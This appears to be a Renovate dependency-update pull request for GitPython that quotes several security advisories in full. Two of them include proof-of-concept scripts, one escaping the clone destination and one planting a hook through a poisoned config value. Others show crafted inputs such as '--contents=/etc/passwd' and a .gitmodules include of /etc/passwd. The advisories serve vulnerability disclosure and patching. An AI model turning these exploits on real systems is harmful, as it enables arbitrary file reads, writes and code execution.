Skip to content

chore(deps): update dependency gitpython to v3.1.59 [security] - #5644

Closed
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-gitpython-vulnerability
Closed

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-gitpython-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Sep 9, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
GitPython ==3.1.58==3.1.59 age confidence

GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination

CVE-2026-78677 / GHSA-8mcc-hrx5-hvxc

More information

Details

  • CWE: CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense)
  • Affected component: git/repo/base.py, Repo.unsafe_git_clone_options (class attribute, lines 153-165) and Repo._clone() (lines 1477-1520), reached via the public Repo.clone_from() (line 1626) and Repo.clone() (line 1567) APIs.
  • Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)
Reachability

Repo.clone_from(url, to_path, **kwargs) (and Repo.clone()) forward arbitrary keyword arguments to the underlying git clone invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git._option_candidates) and checks it against a denylist, Repo.unsafe_git_clone_options, via Git.check_unsafe_options()unless the caller passes allow_unsafe_options=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template, --upload-pack, --config, --exec, --output, --index-output, --pathspec-from-file, etc.).

git clone also accepts --separate-git-dir=<path>, which redirects the repository's entire .git metadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: Repo.unsafe_git_init_options (line 145-150) blocks --separate-git-dir for Repo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". The Repo._clone()/clone()/clone_from() docstring (line 1450-1452) is even more explicit:

:param allow_unsafe_options:
    Allow unsafe options to be used, such as ``--template`` and
    ``--separate-git-dir``.

i.e. the maintainers' own documentation states that allow_unsafe_options=False (the default) is supposed to block --separate-git-dir for clone. But Repo.unsafe_git_clone_options does not contain it:

unsafe_git_clone_options = [
    "--upload-pack",
    "-u",
    "--config",
    "-c",
    "--template",
    "--bundle-uri",
]

So any application that forwards a separate_git_dir (or separate-git-dir) kwarg into Repo.clone_from() / Repo.clone() — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling --template/--upload-pack/--config entries in this same list — gets no protection at all for --separate-git-dir, even with the default allow_unsafe_options=False.

Root cause

Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): unsafe_git_init_options correctly lists --separate-git-dir; unsafe_git_clone_options, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for GHSA-539m-9xh6-q6rr (archive denylist missing --add-file/--add-virtual-file) and GHSA-6p8h-3wgx-97gf (clone denylist missing --template, since fixed).

Exploit path
  1. Attacker-controlled input reaches a separate_git_dir=... (or equivalently "separate-git-dir") keyword argument passed into Repo.clone_from() / Repo.clone() by the host application, with allow_unsafe_options left at its default False.
  2. Git._option_candidates() renders this as --separate-git-dir and Git.check_unsafe_options() checks it against Repo.unsafe_git_clone_options — no match, no UnsafeOptionError raised.
  3. Git.transform_kwargs() renders the same kwarg into the real command line as --separate-git-dir=<attacker path> and GitPython executes git clone -v --separate-git-dir=<attacker path> -- <url> <dest> via subprocess (no shell).
  4. git itself creates the full repository metadata tree (config, description, HEAD, hooks/, index, objects/, refs/, packed-refs, logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.
Impact

Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity GHSA-hmq2-w58f-27jc ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely:

  • Planting a git repository structure (including a hooks/ directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.
  • If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's .git, a shared cache path, a predictable temp location), the clone silently populates/overwrites config, HEAD, hooks/*, refs/*, packed-refs, and index there — an integrity violation of a resource outside the intended destination.
  • Combined with any later operation that runs git against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for --template in GHSA-9rj7-rf2p-w77r.
Preconditions
  • The calling application forwards a caller-influenced value into a separate_git_dir kwarg of Repo.clone_from()/Repo.clone() (or into the multi_options list as a raw --separate-git-dir=... token) without itself validating/rejecting it, and does not pass allow_unsafe_options=True intentionally. This is the identical trust model GitPython's own denylist already defends for --template/--upload-pack/--config/--bundle-uri on the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted.
  • No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.
Evidence
  • git/repo/base.py:145-151unsafe_git_init_options includes "--separate-git-dir" with the comment "Redirects the repository metadata to a caller-controlled path".
  • git/repo/base.py:153-165unsafe_git_clone_options (the list actually enforced on _clone) does not include "--separate-git-dir".
  • git/repo/base.py:1450-1452 — docstring of clone_from/clone explicitly documents --separate-git-dir as one of the options allow_unsafe_options is supposed to gate.
  • git/repo/base.py:1495-1518_clone() special-cases separate_git_dir only to Git.polish_url() it (path normalization for URL-like values), then runs it through Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options) — which, per the list above, does not flag it.
  • PoC (gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the real git clone subprocess unguarded and creates a full git directory outside the destination path, with allow_unsafe_options at its default False.
False-positive check (adversarial re-read)
  • Is there a value-level check that would still stop this? No — check_unsafe_options only inspects option names (via _canonicalize_option_name) against the denylist; it performs no filesystem/path validation on separate_git_dir's value, and no other guard in _clone() touches this kwarg besides the Git.polish_url() normalization (which does not reject arbitrary paths).
  • Is --separate-git-dir perhaps a no-op or safely sandboxed for clone specifically (unlike init)? No — confirmed empirically: the option reaches the real git binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path.
  • Could this be the exact bug already covered by one of the 26 published GHSAs? Checked all 26 entries in _known-advisories.json (Filter 0): GHSA-9rj7-rf2p-w77r covers --template in Repo.init; GHSA-6p8h-3wgx-97gf covers --template in clone (already fixed, present in unsafe_git_clone_options); GHSA-hmq2-w58f-27jc covers arbitrary repo creation via unvalidated .gitmodules submodule names (a different code path — Submodule, not Repo.clone_from() kwargs). None reference --separate-git-dir on the clone path. This is a distinct, currently-unpatched gap.
  • Does this require an unrealistic precondition? The precondition (host app forwards a kwarg into clone_from/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template, --upload-pack, --config, --bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry.
  • Verdict: no concrete blocker found. CONFIRMED.
Remediation

Add "--separate-git-dir" (and its - alias if git ever adds one — currently there is none) to Repo.unsafe_git_clone_options in git/repo/base.py, matching unsafe_git_init_options. Since Repo._clone() already special-cases separate_git_dir for Git.polish_url() normalization, the fix is a one-line addition to the existing list, consistent with how GHSA-6p8h-3wgx-97gf added --template to the same list.

Confidence

High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.

Proof-of-Concept source (gitpython-001-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in
unsafe_git_clone_options, so it reaches `git clone` unguarded and writes a
full git directory (config, hooks/, objects/, refs/, ...) to an
attacker-controlled path OUTSIDE the intended destination directory, with
allow_unsafe_options left at its default of False.

Run against the GitPython source tree under test, e.g.:
  PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir>

Benign: only writes/reads inside the given workdir. No destructive/exfiltrating
payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option
or the write does not escape the destination directory.
"""
import os
import sys
import subprocess

def main():
    workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc"
    src = os.path.join(workdir, "src")
    dest = os.path.join(workdir, "dest")
    sentinel_dir = os.path.join(workdir, "OUTSIDE_SENTINEL")
    target_gitdir = os.path.join(sentinel_dir, "redirected.git")

    for p in (src, dest, sentinel_dir):
        os.makedirs(p, exist_ok=True)

    # Minimal benign source repo to clone from.
    subprocess.run(["git", "init", "-q", "-b", "main", src], check=True)
    subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True)
    subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True)
    with open(os.path.join(src, "file.txt"), "w") as f:
        f.write("hello\n")
    subprocess.run(["git", "-C", src, "add", "file.txt"], check=True)
    subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True)

    import git  # gitpython under test

    print("unsafe_git_clone_options =", git.Repo.unsafe_git_clone_options)
    assert "--separate-git-dir" not in git.Repo.unsafe_git_clone_options, (
        "guard now includes --separate-git-dir; PoC no longer applicable, target patched"
    )

    try:
        repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)
    except git.exc.UnsafeOptionError as e:
        print("NOT VULNERABLE: blocked by UnsafeOptionError:", e)
        sys.exit(1)

    wrote_outside = os.path.isdir(os.path.join(target_gitdir, "hooks")) and os.path.isfile(
        os.path.join(target_gitdir, "config")
    )
    gitlink_points_outside = False
    with open(os.path.join(dest, ".git")) as f:
        gitlink = f.read().strip()
        gitlink_points_outside = target_gitdir in gitlink

    print("repo.git_dir =", repo.git_dir)
    print("wrote git directory outside dest (sentinel) =", wrote_outside)
    print("dest/.git gitlink points outside dest =", gitlink_points_outside)

    if wrote_outside and gitlink_points_outside:
        print("VULNERABLE: git directory created at attacker-controlled path "
              f"outside the clone destination: {target_gitdir}")
        sys.exit(0)
    else:
        print("NOT VULNERABLE: sentinel not observed")
        sys.exit(1)

if __name__ == "__main__":
    main()

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


GitPython: Incomplete unsafe_git_revision_options denylist omits --contents/-S, enabling arbitrary file read via Repo.blame()

CVE-2026-78678 / GHSA-5xxx-qhh7-9287

More information

Details

Summary

Repo.blame() / Repo.blame_incremental() guard forwarded revision options against unsafe_git_revision_options, but that denylist only contains the file-WRITE options --output/-o. git blame also honors --contents <file> and -S <file>, which cause the file's lines to be echoed into the blame result — an arbitrary file READ. Neither option is in the denylist, so a caller-influenced revision value of --contents=<path> passes the guard and leaks file contents. This is a distinct sink-option and impact class (READ) from GHSA-956x-8gvw-wg5v (which addressed the blame --output WRITE), directly analogous to GHSA-539m-9xh6-q6rr (archive READ gap accepted separately from the archive write/exec advisory).

Root Cause

unsafe_git_revision_options = ["--output","-o"] (git/repo/base.py:188). The rev string is passed to _option_candidates([rev], kwargs) and placed BEFORE the -- separator (base.py:841). The canonical name of --contents=... is contents, which is not on the denylist, so no UnsafeOptionError is raised. The trailing -- protects only the pathspec, not the option before the revision.

Impact

Arbitrary local file read at the privileges of the host process; the file's line contents appear in the blame result returned to the caller. Pure VALUE control (the caller forwards a user-influenced revision string). Default allow_unsafe_options=False.

Proof of Concept
result = repo.blame("--contents=/etc/passwd", "a.txt")

##### result rows carry the victim file's line text
Attack Chain
  1. Entry: app calls repo.blame(rev, file) with attacker rev="--contents=/etc/passwd" (or kwarg contents="/etc/passwd", or -S).
  2. Check: Git.check_unsafe_options(_option_candidates([rev,...], kwargs), unsafe_git_revision_options) @​ base.py:841. Guard: denylist = ["--output","-o"] only. Bypass proof: canonical name contents ∉ denylist → no error.
  3. Sink: self.git.blame(rev, "--", file, p=True, ...). argv (observed): ['git','blame','-p','--contents=<secret>','HEAD','--','a.txt'].
  4. Impact: blame result rows carry the victim file's line text.
Bypass Evidence

Independently reproduced (independent test harness, default allow_unsafe_options=False): blame('--contents=<secret>','a.txt') → guard PASSED; result rows = ['GATE_SECRET_LINE_A','GATE_SECRET_LINE_B']. Control: blame('--output=…') still BLOCKED (guard active on this path). -S kwarg argv also reaches git unguarded.

Affected Versions

GitPython <= 3.1.58 (denylist present verbatim on the latest release tag).

Suggested Fix

Prefer an allowlist of blame options; at minimum add --contents/-S (and any other path-taking blame options) to unsafe_git_revision_options, and make the membership rule "the option takes a filesystem path" rather than "the option writes output".


Reported by zx (Jace) — GitHub: @​manus-use

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE

CVE-2026-78676 / GHSA-284h-m62q-gf8w

More information

Details

  • CWE: CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument
  • Affected component: git/config.pyGitConfigParser._read() (multi-line value decoding, lines 444-541, esp. string_decode() at line 460 and its call sites at 519/541) and GitConfigParser._write()/write_section() (serialization, lines ~694-712, esp. line 708)
  • Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)
Reachability

GitPython added UNSAFE_CONFIG_CHARS_RE / _value_to_string_safe() / _assure_config_name_safe() guards (commits c417af46, 1ed1b924, a495ccd3, and PR #​2176) to reject a Python string containing a raw \r/\n/NUL byte, or syntax-bearing characters, when it is passed as an argument to set(), set_value(), add_value(), or add_section(). This closed the four config-injection GHSAs above.

That guard is applied only on the write-argument surface. It is never consulted for values that entered GitConfigParser._sections via _read() — i.e. values that came from parsing an on-disk config file. And _read() legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and string_decode() (.decode('unicode_escape')) decodes a literal two-character \n escape sequence inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real git itself uses and accepts.

The bug is in what happens when that GitConfigParser is later flushed: write_section() (line ~694) calls the unsafe self._value_to_string(v) — not _value_to_string_safe() — and "handles" any embedded newline in the value with .replace("\n", "\n\t") (line 708), emitting a bare, unquoted <real newline><tab> in the output file with no re-quoting and no backslash-continuation marker. Real git does not treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the previous line ends in a literal \ immediately before the newline. So the moment write_section() re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an independent, new config line the next time anyone (GitPython or real git) parses the file. If an attacker chooses the dormant value's content to be <anything>\nhooksPath = <attacker path>, that second line is parsed as a brand-new core.hooksPath = <attacker path> directive — live, real Git configuration, not a value.

core.hooksPath is honored by essentially every hook-firing git operation (commit, checkout, merge, push, rebase, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.

Root cause

GitConfigParser's injection guard is asymmetric: it hardens every write-argument entry point (the fix for the four sibling GHSAs) but never hardens the read → corrupt-on-rewrite round trip. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (write_section() using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The c417af46 commit message even states its intent explicitly: "This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values" — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.

Exploit path
  1. A .git/config (or any file merged into it via [include], see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.:
    [core]
    	zzz = "A\nhooksPath = ../evil-hooks\
    "
    
    No raw \r, \n, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real git config --get core.hookspath returns nothing at this point (inert); git config --get core.zzz returns the decoded string A\nhooksPath = ../evil-hooks, identically to GitPython's own reader.
  2. The host application opens this repo with GitPython (git.Repo(path), read_only=False implicitly for a normal config_writer() use) and performs any single, unrelated, legitimate config write on the same GitConfigParser instance — e.g. repo.config_writer().set_value("user", "name", "Test User"). This is one of the most ordinary operations a GitPython-based tool performs.
  3. GitConfigParser._write()/write_section() re-serializes every resident value, including the dormant zzz entry, using the unsafe path. The file on disk now contains, verbatim:
    [core]
    	...
    	zzz = A
    	hooksPath = ../evil-hooks
    
  4. Real git config --get core.hookspath now returns ../evil-hooks — a key that did not exist before step 2, created purely by GitPython's own write.
  5. The next hook-firing git operation (e.g. git commit) executes ../evil-hooks/pre-commit (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.
Impact

Arbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity GHSA-mv93-w799-cj2w/GHSA-v87r-6q3f-2j67 "Newline injection... enables RCE via core.hooksPath" advisories, and requiring no unsafe caller argument at all — only an attacker-influenced config file plus one ordinary, unrelated write.

Preconditions
  • A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like <anything>\n<injected-key> = <injected-value>. Realistic delivery:
    1. Pre-existing .git directory shipped with a repository — vendored/template repos, CI workspace/layer caches that preserve .git, "repo" tarball/zip distributions that include .git/config. The poisoned value sits directly in .git/config.
    2. The documented shared-config [include] pattern ([include] path = ../<repo-tracked-file>, pointing at a file inside the working tree) — GitConfigParser.read() merges included files' sections into the same _sections dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own .git/config to already reference the include, e.g. via project setup tooling that adds include.path).
    3. Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write — the exact trust-boundary the maintainers already accepted as realistic for GHSA-v87r-6q3f-2j67 (their writeup cites MLRun's project.push()).
  • No authentication/role requirement inside GitPython itself.
Evidence
  • git/config.py:460 (string_decode), invoked at git/config.py:519 and :541 inside _read()'s multi-line handling — decodes unicode_escape, turning a literal \n escape into a real embedded LF.
  • git/config.py:~694-712 (_write()/write_section()) — uses self._value_to_string(v) (unsafe variant) and .replace("\n", "\n\t") with no re-quoting.
  • c417af46 (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing read behavior for multi-line values, per its own commit message.
  • git log -S"string_decode", -S"write_section", -S'replace("\n", "\n\t")' on git/config.py show these code paths have only ever been touched by non-security formatting/refactor commits (a5fc1d86, b825dc74, cb68eef0, 21ec5299), never by a security fix.
  • PoC (gitpython-002-poc.py, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated config_writer() write → core.hookspath becomes live per real git config --get → a subsequent git commit executes the injected hook and writes a benign marker file.
False-positive check (adversarial re-read)
  • Is this just a repeat of the four already-fixed config-injection GHSAs? No — all four require the caller to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by UNSAFE_CONFIG_CHARS_RE/VALID_CONFIG_OPTION_NAME_RE/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config file using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via _known-advisories.json (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism.
  • Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a "normal" file)? Yes, confirmed empirically: after the same crafted .git/config is rewritten by real git config user.name Test2 (a control test), the multi-line zzz entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it.
  • Is there a guard elsewhere that would catch the resulting bare hooksPath = ... line before it's trusted? No — once on disk, it is indistinguishable from a directive the user set intentionally; core.hooksPath is honored unconditionally by git's hook-invocation machinery.
  • Does this require an unrealistic precondition? The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for GHSA-v87r-6q3f-2j67.
  • Verdict: no concrete blocker found. CONFIRMED — reproduced independently end-to-end (dormant value in place → benign unrelated config_writer() write → core.hookspath live per real git → hook fires on git commit, marker file written).
Remediation

Either (a) make write_section()/_write() use _value_to_string_safe() (or equivalent re-quoting) for every resident value, including those that originated from _read(), so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach _sections at all if the parser is opened in read_only=False mode, or (c) canonicalize output using git's own git config --file <path> --replace-all semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of _value_to_string_safe() already used on the setter path.

Confidence

High. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live core.hookspath → hook execution with a benign marker) reproduced twice, independently, against the current HEAD.

Proof-of-Concept source (gitpython-002-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value
(standard quoted + backslash-continuation syntax, containing an escaped "\\n"
that decodes to a real embedded newline in memory) is corrupted into a NEW,
live config key the moment GitConfigParser re-serializes it during any
unrelated write. If the smuggled second "line" looks like
"hooksPath = <attacker path>", it becomes a real, active core.hooksPath after
one unrelated GitPython config write, and fires attacker code on the next
hook-triggering git operation (e.g. `git commit`).

This is CWE-88/CWE-94 style argument/config injection, but via the READ path
(a config file GitPython parses and later rewrites), not via a Python kwarg
argument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /
GHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all
guard the setter-argument surface only.

Run:
  PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-002-poc.py <workdir>

Benign: only writes/reads inside <workdir>. The "malicious" hook just writes a
marker file; no destructive/exfiltrating payload. Exits non-zero and prints
"NOT VULNERABLE" if the corruption / hook does not fire.
"""
import os
import subprocess
import sys

def main():
    workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-002-poc"
    repo_dir = os.path.join(workdir, "repo")
    hooks_dir = os.path.join(workdir, "evil-hooks")
    marker = os.path.join(workdir, "PWNED_MARKER.txt")

    for p in (repo_dir, hooks_dir):
        os.makedirs(p, exist_ok=True)
    if os.path.exists(marker):
        os.remove(marker)

    subprocess.run(["git", "init", "-q", "-b", "main", repo_dir], check=True)
    subprocess.run(["git", "-C", repo_dir, "config", "user.email", "test@example.com"], check=True)
    subprocess.run(["git", "-C", repo_dir, "config", "user.name", "Test"], check=True)

    # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value
    # inside [core] (before any other section). No raw CR/LF/NUL byte is
    # written to disk here -- this is standard git config quoting +
    # backslash-line-continuation, decoded by both real git and GitConfigParser
    # into the Python string 'A\nhooksPath = ../evil-hooks'.
    cfg_path = os.path.join(repo_dir, ".git", "config")
    with open(cfg_path) as f:
        original = f.read()
    poisoned_entry = '\tzzz = "A\\nhooksPath = ../evil-hooks\\\n"\n'
    # Insert right after the [core] header line so it lives in the same section.
    new_config = original.replace("[core]\n", "[core]\n" + poisoned_entry, 1)
    with open(cfg_path, "w") as f:
        f.write(new_config)

    # Confirm it's inert per real git before touching GitPython.
    pre = subprocess.run(
        ["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
        capture_output=True, text=True,
    )
    if pre.returncode == 0:
        print("SETUP ERROR: core.hookspath already set before GitPython touched anything")
        sys.exit(2)

    # Malicious hook: benign marker only.
    hook_path = os.path.join(hooks_dir, "pre-commit")
    with open(hook_path, "w") as f:
        f.write('#!/bin/sh\necho "PWNED-VIA-GITPYTHON-CONFIG-INJECTION" > "%s"\nexit 0\n' % marker)
    os.chmod(hook_path, 0o755)

    import git  # gitpython under test

    repo = git.Repo(repo_dir)
    before = repo.config_reader().get_value("core", "zzz")
    print("core.zzz before any GitPython write =", repr(before))

    # ONE totally unrelated, benign write -- this is the only "attacker-adjacent"
    # action required, and it is something virtually every GitPython consumer
    # does routinely (setting an option, adding a remote, updating a branch's
    # tracking config, ...).
    with repo.config_writer() as cw:
        cw.set_value("user", "name", "Test User")

    post = subprocess.run(
        ["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
        capture_output=True, text=True,
    )
    if post.returncode != 0:
        print("NOT VULNERABLE: core.hookspath still absent after the unrelated write")
        sys.exit(1)

    injected_path = post.stdout.strip()
    print("core.hookspath is now LIVE after one unrelated write:", injected_path)

    # Trigger the hook with a normal commit to prove it fires.
    with open(os.path.join(repo_dir, "file2.txt"), "w") as f:
        f.write("change\n")
    subprocess.run(["git", "-C", repo_dir, "add", "file2.txt"], check=True)
    subprocess.run(
        ["git", "-C", repo_dir, "-c", "user.email=t@example.com", "-c", "user.name=T",
         "commit", "-q", "-m", "trigger hook"],
        check=True,
    )

    if os.path.isfile(marker):
        with open(marker) as f:
            content = f.read().strip()
        print("VULNERABLE: hook fired, marker content =", content)
        sys.exit(0)
    else:
        print("NOT VULNERABLE: hook did not fire")
        sys.exit(1)

if __name__ == "__main__":
    main()

Severity

  • CVSS Score: 9.3 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)

CVE-2026-78675 / GHSA-7833-fr7j-v32q

More information

Details

[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
  • CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
  • Affected component: git/objects/submodule/base.py, Submodule._config_parser() (~line 273) constructing SubmoduleConfigParser(fp_module, read_only=read_only); git/config.py, GitConfigParser.__init__ (merge_includes default), GitConfigParser.read()/_included_paths() (include-path resolution, ~lines 630-685), GitConfigParser._read() (~line 493-498, MissingSectionHeaderError)
  • Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)
Reachability

GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).

That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodulesthe single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.

GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.

Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.

Root cause

Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)

Exploit path
  1. Attacker crafts a repository whose .gitmodules contains a legitimate-looking [submodule ...] section plus:
    [include]
    	path = /etc/passwd
    
    (an absolute path bypasses any traversal reasoning entirely; a relative ../../../../etc/passwd-style path works too).
  2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: list(repo.submodules) (or any for sm in repo.submodules) — no update(), init(), or checkout of any kind required.
  3. SubmoduleConfigParser (inheriting merge_includes=True) follows the [include] directive, opens /etc/passwd, and GitConfigParser._read() raises MissingSectionHeaderError whose message embeds /etc/passwd's first line verbatim.
  4. This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on repo.submodules — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).
Impact

Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).

Preconditions
